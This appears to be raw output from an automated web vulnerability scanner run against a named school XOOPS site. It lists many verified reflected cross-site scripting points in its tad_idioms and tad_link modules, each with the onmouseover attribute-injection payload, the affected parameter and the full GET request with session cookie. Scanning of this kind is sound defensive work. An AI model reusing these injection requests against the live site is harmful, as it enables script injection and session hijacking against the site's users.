PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=0l3R(9287)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?g2p=1"onmouseover=0l3R(9287)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=9lNf(9568)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?amp;show_sn=30&g2p=1"onmouseover=9lNf(9568)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 2"onmouseover=nGMl(9664)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?g2p=2"onmouseover=nGMl(9664)"&show_sn=30 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=LbyQ(9870)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?
amp;nsn=&g2p=1"onmouseover=LbyQ(9870)"&op=delete_tad_news HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=lBsp(9702)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?g2p=1&nsn=1"onmouseover=lBsp(9702)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=GBBk(9104)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?nsn=1"onmouseover=GBBk(9104)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=lBsp(9982)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?g2p=1&nsn=&op=delete_tad_news"onmouseover=lBsp(9982)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=GBBk(9135)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?nsn=&op=delete_tad_news"onmouseover=GBBk(9135)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql2;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=LbyQ(9145)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?
amp;nsn=&g2p=1&op=delete_tad_news"onmouseover=LbyQ(9145)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input show_sn was set to 30"onmouseover=nGMl(9319)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?g2p=2&show_sn=30"onmouseover=nGMl(9319)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/
Details

URI was set to "onmouseover='ascK(9201)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_link/?"onmouseover='ascK(9201)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Details

URI was set to "onmouseover='cMKl(9012)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET
/modules/tad_link/index.php/%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%27%63%4D%4B%6C%28%39%
30%31%32%29%27%62%61%64%3D%22 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input cate_sn was set to 1"onmouseover=72oq(9350)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_link/index.php?cate_sn=1"onmouseover=72oq(9350)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input cate_sn was set to 1"onmouseover=Jx8D(9734)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_link/index.php?cate_sn=1"onmouseover=Jx8D(9734)"&g2p=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=Jx8D(9828)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_link/index.php?cate_sn=1&g2p=1"onmouseover=Jx8D(9828)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=OGyF(9126)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_link/index.php?g2p=1"onmouseover=OGyF(9126)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input link_sn was set to 1"onmouseover=Ovix(9562)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_link/index.php?link_sn=1"onmouseover=Ovix(9562)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=pfEp(9657)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_link/index.php?nsn=1"onmouseover=pfEp(9657)"&op=delete_tad_news HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input op was set to go"onmouseover=s3DK(9817)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_link/index.php?link_sn=1&op=go"onmouseover=s3DK(9817)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_link/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=pfEp(9184)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_link/index.php?nsn=&op=delete_tad_news"onmouseover=pfEp(9184)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
